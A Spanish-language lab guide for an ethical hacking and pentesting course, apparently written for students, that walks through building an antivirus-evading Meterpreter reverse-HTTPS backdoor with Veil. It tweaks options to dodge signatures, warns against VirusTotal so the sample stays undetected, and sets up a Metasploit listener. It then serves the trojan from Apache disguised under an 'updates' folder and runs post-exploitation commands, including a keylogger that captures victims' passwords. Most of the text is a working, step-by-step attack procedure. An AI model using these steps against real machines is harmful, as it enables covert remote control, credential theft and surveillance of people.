Guía para realizar la práctica final de Hacking ético y Pentesting II

1. Instalación de Veil

- Vamos a ver cómo generar una backdoor (puerta trasera) indetectable
- Una puerta trasera (backdoor) es un fichero que nos da control total de la máquina que lo ha ejecutado
- Ojo, que pueden ser detectados por los antivirus
- Veil es un framework para crear backdoors en muchos casos indetectables:

https://github.com/Veil-Framework/Veil

- Hay que tener instalado antes metasploit.
- En Kali Veil se instala con apt install veil-evasion.
- Luego poned veil en el shell o vamos al menú Manteniendo acceso/Veil, para seguir con la instalación, y además lo actualiza.

2. Funcionamiento de Veil

- Importante actualizar Veil en el menu inicial (update)*
- Tiene dos herramientas principales: list para verlas
- Evasion – genera las backdoors
- Ordnance – genera los payloads (parte de código que hace la acción que queremos)
- Use 1 (y nos metemos en Evasion)
- List (para ver los payloads)
- Están nombrados de la siguiente forma: go/meterpreter/rev_htts.py), donde aparece el lenguaje en el que están escritos y en el que se van a ejecutar/tipo de código que se va a ejecutar en la víctima
- Meterpreter por ejemplo es metasploit,
- Es el mejor porque se va a ejecutar en la víctima como un proceso cargado en memoria, y es muy difícil de detectar.
- La tercera parte es cómo se va a conectar. Si pone rev es que la víctima se va a conectar a mí (por el firewall). Es mejor porque así es como si la víctima navegara si hacemos que se conecta a nuestro puerto 80. ¡Recomendado así!

3. Generar el troyano (backdoor) con Veil

Vamos a generar una backdoor. Ejecutamos los siguientes pasos:

List
Use 1
List
Use 15 (go/meterpreter/rev_htts.py)
Veo las opciones y hago set a LHOST
Set LHOST 192.168.1.14
Set LPORT 8080 (si tengo el 80 ocupado por mi servidor Web Apache) Ojo, si hay un firewall no va a valer porque el puerto 8080 estará cerrado. En este caso, ponerlo en el puerto 80 y parar nuestro apache.
¿Cómo lo va a reconocer el antivirus? Compara la firma de mi antivirus con la base de datos de firmas que tiene el antivirus. Para que no lo detecten fácilmente los antivirus hacer esto para poner opciones y que parezca diferente al de todo por defecto:

- Set PROCESSORS 1
- Set SLEEP 7 (para que el backdoor duerma 6 sg antes de ejecutarse) 6 por poner un valor, para que sea diferente el backdoor.

Consejo: Probad con diferentes valores de las opciones.

Generate
Le pongo un nombre (por ejemplo, rev_https_8080)
Fijaos que nos dice dónde lo guarda

Veil puede decirme en su web si será o no detectable, pero no es 100% fiable. No usar www.virustotal.com porque comparte su scan results con las bases de datos de los antivirus, y me van a pillar. Usar esta (https://nodistribute.com) como dice el enunciado de la práctica.

4. Ejecutar el troyano para escuchar conexiones entrantes

Como vamos a hacer un reverse shell tenemos que abrir un puerto al cual se va a conectar la víctima.
Ejecutamos metasploit en el atacante (msfconsole) que ya tiene un payload para escuchar incoming connections

use exploit/multi/handler
show options

El payload por defecto es windows/meterpreter/reverse_tcp. Tenemos que cambiarlo porque nosotros usamos reverse_https

set PAYLOAD windows/meterpreter/ reverse_https

Este payload tiene que corresponder con el creado en el backdoor) Lo de Windows es que la víctima será Windows)

show options
set LHOST 192.168.1.14 (cada uno su IP)
set LPORT 8080
exploit

Ahora tenemos que hacer que la víctima ejecute el backdoor creado por Veil

5. Distribución del troyano a las víctimas

Ahora tenemos que probarlo. Para ello vamos a usar el Apache que ya viene con Kali, vamos a publicarlo y accederemos desde el Windows para que se lo baje y lo instale (ver enunciado de la práctica).

Lo ponemos en /var/www/html/

Creamos un directorio llamado updates (por ejemplo), y ahí ponemos el fichero creado con Veil, que suele estar en /var/lib/evil-evasion/compile/ (nos lo dicen cuando lo creamos en Veil)

service apache2 start

Vamos al Windows, ponemos la ip del Kali en el navegador y vamos a 192.168.1.14/updates/ (cada uno su IP) y veremos el fichero. Hago un clic y lo ejecutamos (aunque me avise no es el antivirus, es Windows 10 que te advierte de que es un exe. Darle a ejecutar de todas formas.

Vamos al kali y vemos que ya hemos recibido una conexión y ya tenemos un Shell.

Ponemos sysinfo y sale que es un Windows 10…

Tenemos control total sobre él. Ya veremos qué podemos hacer.

6. Post Exploitation

Órdenes del Meterpreter (no ejecutar, sólo verlas)

> help – muestra ayuda
> background – pone en background la actual sesión.
> sessions -l – lista todas las sesiones.
> sessions -i – interactúa con una session en particular.
> sysinfo – muestra información del sistema.
> ipconfig – miuestra la ip de la máquina víctima
> getuid – muestra el usuario con el que estamos dentro de la máquina víctima

Órdenes del Meterpreter (sistema de ficheros)

> pwd - shows current working directory

> ls - lists files in the current working directory.
> cd [location] - changes working directory to [location].
> cat [file] - prints the content of [file] on screen.
> download [file] - downloads [file].
> upload [file] - uploads [file]. (sube una calculadora que es un troyano, como el de antes)
> execute -f [file] - executes [file]. (ejecuta el troyano, puedo verlo con ps)
>shell: abre un terminal (cmd en Windows, para que pueda ejecutar comandos del shell)

7. Algunas acciones de post exploitation

Keylogger

> keyscan_start – inicia el keylogger

Por ejemplo, si me meto en Facebook en la víctima con una password errónea nos llegará esa password introducida.

> keyscan_dump

Y salen el usuario y contraseña

> keyscan_stop – para el keylogger

> screenshot – obtener un pantallazo de la víctima

Podemos grabar un vídeo o activar la cámara. Investigad cómo se hace (ver enunciado de la práctica)